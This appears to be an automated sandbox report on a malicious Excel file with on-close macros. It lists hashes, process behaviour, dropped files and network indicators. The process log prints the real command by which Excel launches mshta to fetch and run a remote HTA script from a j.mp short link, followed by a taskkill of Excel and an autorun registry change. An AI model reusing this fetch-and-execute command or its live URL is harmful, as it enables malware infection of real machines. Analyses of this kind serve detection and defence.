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File name:

sw.xls

Full analysis: https://app.any.run/tasks/60f5bdac-c2e4-4b8c-be14-188c2b73d0dc
Verdict: Malicious activity
Analysis date: October 14, 2019, 03:18:35
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-close
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Oct 9 16:05:03 2019, Security: 0
MD5:

7356D8F8F02A7B73615D17819DD82198

SHA1:

1B7958C74E901E6BD54073ADEEE1ED3153DB4013

SHA256:

622E80137F98CF6E7BA3FEE8659753EDECC5CB0C31D05A2E88FC0CAD6C703AF9

SSDEEP:

6144:VZ+RwPONXoRjDhIcp0fDlavx+W26nAimChtenbVeCdFjAOHwv:/mCKpxjAOHq

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  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2504)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 2504)
    • Changes the autorun value in the registry

      • mshta.exe (PID: 444)
  • SUSPICIOUS

    • Uses TASKKILL.EXE to kill Office Apps

      • mshta.exe (PID: 444)
    • Creates files in the user directory

      • mshta.exe (PID: 444)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2504)
    • Reads internet explorer settings

      • mshta.exe (PID: 444)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: -
LastModifiedBy: -
Software: Microsoft Excel
CreateDate: 2006:09:16 00:00:00
ModifyDate: 2019:10:09 15:05:03
Security: None
CodePage: Windows Latin 1 (Western European)
AppVersion: 12
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
HeadingPairs:
  • Worksheets
  • 3
CompObjUserTypeLen: 38
CompObjUserType: Microsoft Office Excel 2003 Worksheet
No data.
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Total processes
39
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

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start excel.exe no specs mshta.exe taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2504"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
444mshta http:\\j.mp\adjg3sXAsxfsaasdiC:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2916"C:\Windows\System32\taskkill.exe" /f /im excel.exeC:\Windows\System32\taskkill.exemshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
865
Read events
779
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
11
Unknown types
1

Dropped files

PID
Process
Filename
Type
2504EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRA8EC.tmp.cvr
MD5:
SHA256:
2504EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF51BF8CC048A33FD0.TMP
MD5:
SHA256:
2504EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFBBA5440445BFE7AD.TMP
MD5:
SHA256:
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\warning[1]
MD5:
SHA256:
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\27[1].htmlhtml
MD5:13DA199C6B92FCC879DBA737BF1B18D2
SHA256:B38BD6BDE56F60714A5EB2070E8FF534782D0E13FF5687E872141B9D896E6F59
444mshta.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1]text
MD5:35FE91C2AC1BA0913CC617622B9EB43F
SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\2289495658-widgets[1].jstext
MD5:12207EF376C0B11BEECE3033AA074858
SHA256:54C41E3A6E2D57F9F96047F3C3799F3EE126051031BBCDBE698198C92EF94522
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\error[2]text
MD5:35FE91C2AC1BA0913CC617622B9EB43F
SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\210157244-ieretrofit[1].jshtml
MD5:83A14CE8A07941331DFB5A615AF96CA9
SHA256:C17B6213AB3A96180261DEC659C93EC2D6D3691A7FFE1AE09173C1BA124CC6C4
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HTTP(S) requests
1
TCP/UDP connections
6
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
444
mshta.exe
GET
301
67.199.248.16:80
http://j.mp/adjg3sXAsxfsaasdi
US
html
134 b
shared
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
444
mshta.exe
172.217.23.97:443
asdiamecwecw8cew.blogspot.com
Google Inc.
US
whitelisted
444
mshta.exe
172.217.22.73:443
www.blogger.com
Google Inc.
US
whitelisted
444
mshta.exe
67.199.248.16:80
j.mp
Bitly Inc
US
shared

DNS requests

Domain
IP
Reputation
j.mp
  • 67.199.248.16
  • 67.199.248.17
shared
asdiamecwecw8cew.blogspot.com
  • 172.217.23.97
whitelisted
www.blogger.com
  • 172.217.22.73
shared
resources.blogblog.com
  • 172.217.22.73
whitelisted

Threats

PID
Process
Class
Message
444
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
No debug info